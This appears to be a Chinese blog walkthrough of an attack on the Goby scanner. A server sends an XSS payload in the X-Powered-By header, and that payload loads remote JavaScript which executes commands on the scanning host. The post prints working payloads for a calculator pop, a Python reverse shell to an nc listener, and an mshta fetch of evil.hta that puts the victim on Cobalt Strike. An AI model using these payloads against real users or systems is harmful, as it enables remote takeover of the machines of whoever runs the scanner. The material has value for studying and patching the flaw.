前言
网络安全的本质:懂进攻,知防守,先正向,后逆向。
一名优秀的白帽子,是不能有短板的,有的只能是很多的标准板和几块长板。
一、弹xss
为了方便,本次直接使用 PhpStudy 进行建站,开启的web服务要为MySQL+Nginx,这里的 PhpStudy 地址为 http://x.x.x.x,直接将 Web 服务里的 index.php 改为以下内容
<?php
header("X-Powered-By: PHP/<img src=1 οnerrοr=alert(\"xxxxx\")>")
;?>
Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的xss弹窗的payload,点击扫描结果里的x.x.x.x
![](https://i-blog.csdnimg.cn/blog_migrate/e5c437d5a00b83da0b4f0b53211571be.png)
就会成功触发弹窗
![](https://i-blog.csdnimg.cn/blog_migrate/e52ae40c181fff069e87f9a6b1a5dd9d.png)
二、弹计算器
复现 RCE 需要再新建一个 js 文件,在 x.x.x.x 的 www 目录下新建了一个名为 calc 的 js 文件,js 内容如下:
js文件在goby客户端的chrome里如果同名只会第一次去请求,后面就缓存起来了,在测试的时候修改js文件内容没有效果,要同时修改内容和文件名
(function(){
require('child_process').exec('calc')
;})()
执行这段 JS 会打开Goby所在主机的计算器
之后将 index.php 的内容修改如下:
<?php
header("X-Powered-By: PHP/<img src=1 οnerrοr=import(unescape('http%3A//x.x.x.x/calc.js'))>")
;?>
Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的调用js文件的payload,点击扫描结果里的 x.x.x.x 的详细信息
![](https://i-blog.csdnimg.cn/blog_migrate/3b0df00f166d2e8db0bb63d0787ce4d8.png)
成功反弹 计算器
![](https://i-blog.csdnimg.cn/blog_migrate/a9ea8a3f99a335efd14825f20ab7b851.png)
三、反弹shell
复现 RCE 需要再新建一个 js 文件,在 x.x.x.x 的 www 目录下新建了一个名为 shell 的 js 文件,js 内容如下:
(function(){
require('child_process').exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",xxx));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);\'')
;})()
执行这段 JS 会利用 Python 反弹 Shell 到 x.x.x.x 主机的 xxx 端口
之后将 index.php 的内容修改如下:
<?php
header("X-Powered-By: PHP/<img src=1 οnerrοr=import(unescape('http%3A//x.x.x.x/shell.js'))>")
;?>
在x.x.x.x 主机的 xxx 端口开启监听
nc -lvp xxx
![](https://i-blog.csdnimg.cn/blog_migrate/5f1a21f8295a1034e98cd09ed8a744b9.png)
Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的调用js文件的payload,点击扫描结果里的 x.x.x.x 的详细信息
![](https://i-blog.csdnimg.cn/blog_migrate/2537ef2bffa109d890d4a2b97218c1a8.png)
成功反弹 shell
![](https://i-blog.csdnimg.cn/blog_migrate/a961cbf0001ccd462a0170a94628c2e6.png)
四、上线cs
首先,cs生成VBA或者powershell的Hta程序,并且放到自己的公网服务器上
![](https://i-blog.csdnimg.cn/blog_migrate/4d0841f0bdae5701244a5b4ed45bbaa1.png)
上线cs 需要再新建一个 js 文件,在 x.x.x.x 的 www 目录下新建了一个名为 1 的 js 文件,js 内容如下:
(function(){
require('child_process').exec('mshtahttp://x.x.x.x/evil.hta');
})();
执行这段 JS 会利用Goby所在主机的mshta.exe执行cs生成的VBA的Hta程序
也可以利用文件下载功能使用cs所在的服务器进行加载
![](https://i-blog.csdnimg.cn/blog_migrate/ccff0724c19e1029ba6bc1aafbf09d5e.png)
需要将 js 内容修改为:
(function(){require('child_process').exec('mshta http://x.x.x.x/download/file.ext');})();
之后将 index.php 的内容修改如下:
<?phpheader("X-Powered-By: PHP/<img src=1 οnerrοr=import(unescape('http%3A//x.x.x.x/1.js'))>");?>
Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的调用js文件的payload,点击扫描结果里的 x.x.x.x 的详细信息
![](https://i-blog.csdnimg.cn/blog_migrate/948a6e1401574c55d766f46e7618acc6.png)
经测试,cs生成VBA的Hta程序,Windows 10 企业版可以上线
![](https://i-blog.csdnimg.cn/blog_migrate/d65f76184213fd8223de1e2125a43bc2.png)
经测试,cs生成powershell的Hta程序,Windows 7 企业版和Windows 10 企业版可以上线
![](https://i-blog.csdnimg.cn/blog_migrate/c04f74fdf689c19a6aaee3ccc7c0f42b.png)
网络安全感悟
做网络安全是一个长期的过程,因为做网络安全没有终点,不管是网络安全企业,还是在网络安全行业各种不同方向的从业人员,不管你选择哪个方向,只有在这条路上坚持不懈,才能在这条路上走的更远,走的更好,不然你肯定走不远,迟早会转行或者被淘汰,把时间全浪费掉。如果你觉得自己是真的热爱网络安全这个行业,坚持走下去就可以了,不用去管别人,现在就是一个大浪淘金的时代,淘下去的是沙子,留下来的才是金子,正所谓,千淘万漉虽辛苦,吹尽狂沙始到金,网络安全的路还很长,一生只做一件事,坚持做好一件事!